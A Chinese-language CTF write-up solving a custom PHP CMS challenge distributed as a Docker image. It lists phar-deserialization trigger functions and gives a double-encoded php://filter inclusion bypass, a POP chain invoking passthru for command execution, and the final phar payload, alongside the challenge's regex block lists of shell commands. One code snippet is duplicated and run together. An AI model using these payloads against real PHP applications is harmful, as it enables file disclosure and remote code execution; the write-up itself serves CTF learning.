太惨了,太傻了我,迷迷糊糊写了两天CMS,又累又自闭,还搞错了东西,给各位大师傅们道歉了,下面大师傅们要是瞧得上的话就那啥可以复现复现
PS:哦这里解释一下,虽然时间是10点发布的,但是我一开始是发布私密文章,今天早上才开启公布的,是在Wp截止后的早晨发的
昨晚把环境传上去了
docker pull y4tacker/ez_yxcms:1.0
xmlwrite_open_uri
readgzfile
gzfile
mime_content_type
imagecreatefrompng
imagecreatefromgif
imagecreatefromjpeg
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromgd
imagecreatefromgd2
imageloadfont
simplexml_load_file
sha1_file
md5_file
getimagesize
unlink
highlight_file
show_source
php_strip_whitespace
parse_ini_file
readfile
rmdir
mkdir
file
file_get_contents
get_meta_tags
opendir
dir
scandir
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
file_exists
is_writable
is_writeable
is_readable
is_executable
is_file
is_dir
is_link
stat
lstat
touch
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
还有很多笔记没在这台电脑上,反正大概看看吧
事实上只要底层调⽤了
_php_stream_open_wrapper_ex
的函数,都有可能触发 phar 反序列化
开局一个游戏
首先访问robots.txt
Disallow: /h1nt.php
页面会打印出
database_type:sqlite
database_file:db/user.db3
下载得到user.db3文件由此拿到密码
进去后发现头像部分url为class/showImage.php?file=logo.jpg
猜测存在任意文件读,去掉后缀以后,得到源码
<?php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.jpg'){
header("Content-Type:image/png");
echo file_get_contents("../static/images/logo.jpg");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
尝试用伪协议读文件,可是发现过滤的很严格,但是放出了%25
也就是%
,配合文件包含函数的url解码可以桡过,过滤了read,其实可以直接忽略因为是等价的
因此构造payload
?file=php://filter/conv%6%35rt.bas%6%3564-%6%35ncode/resource=hint.php
解码发现了文件目录树
<?php
//以下是class目录结构
/*
- class
-- cache
-- tempaltes
--- api
- Api.php
---admin
-add_category.php
-category_list.php
-edit_category.php
-admin.php
-footer.php
-header.php
-left.php
- login.php
- index.php
- api.php
-- auth.php
-- file_class.php
-- hint.php
-- Medoo.php
-- render_file.php
-- showImage.php
-- info.php
*/
读取文件后开始代码审计,最后通过构造popchain
UserInfo->SuperAdmin->ExportExcel
class UserInfo
{
public $username;
public $nickname;
public $role;
public $userFunc;
public function __construct($username, $nickname, $userFunc, $role = '')
{
$this->username = new SuperAdmin("1", "1");;
$this->nickname = $nickname;
$this->userFunc = $userFunc;
$this->role = $role;
}
}
class SuperAdmin
{
public $username;
public $role;
public $isSuperAdmin;
public $OwnMember;
public function __construct($username, $OwnMember, $superAdmin = '', $role = '')
{
$this->username = $username;
$this->OwnMember = $OwnMember;
$this->isSuperAdmin = new ExportExcel("whoami", "b", "passthru");;
$this->role = $role;
}
}
class ExportExcel
{
public $filename;
public $exportname;
public $do;
public function __construct($filename, $exportname, $do)
{
$this->filename = $filename;
$this->exportname = $exportname;
$this->do = $do;
}
}
通过登录处可控制日志文件写入phar后,发现admin.php泄露日志地址
、<li style="font-size: 20px;">上次登录时间:<?php $a = new renderUtil("",Log,empty($_POST['file'])?"./class/cache/lastTime.txt":$_POST['file']);echo $a;?></li>
并且renderUtil的destrcu方法的extractZip方法看出可以执行phar反序列化利用
public static function extractZip($file,$content){
$zip = new ZipArchive();
$res = $zip->open($file);
if ($res){
$zip->extractTo($content);
}else{
echo 'no ZipFile';
}
$zip->close();
}xxxxxxxxxx public static function extractZip($file,$content){ $zip = new ZipArchive(); $res = $zip->open($file); if ($res){ $zip->extractTo($content); }else{ echo 'no ZipFile'; } $zip->close(); }public function __destruct(){ if (!empty($this->file)){ $ret = $this->file->open($this->filename,$this->content); } if (!empty($ret)){ fileUtil::extractZip($this->filename, $this->content); } }
执行命令发现根目录存在/flagg
,文件读取命令大多被禁用了,当然过滤不严格passthru
可以哦
function wudiWaf($name){
if(preg_match('/system|call|proc|ob|mail|put|env|dl|ini|exec|array|create|_|ch|op|log|link|pcntl|imap|cat|tac|>|more|less|head|tail|nl|sort|od|base|awk|cut|grep|uniq|string|sh|sed|rev|zip|\\\\|py|[\x01-\x19]|\*|\?/',$name)){
die("NO");
}else{
return true;
}
}
访问?page=admin&c=admin
post数据,即可拿到flag
file=phar://./class/cache/lastTime.txt/test.txt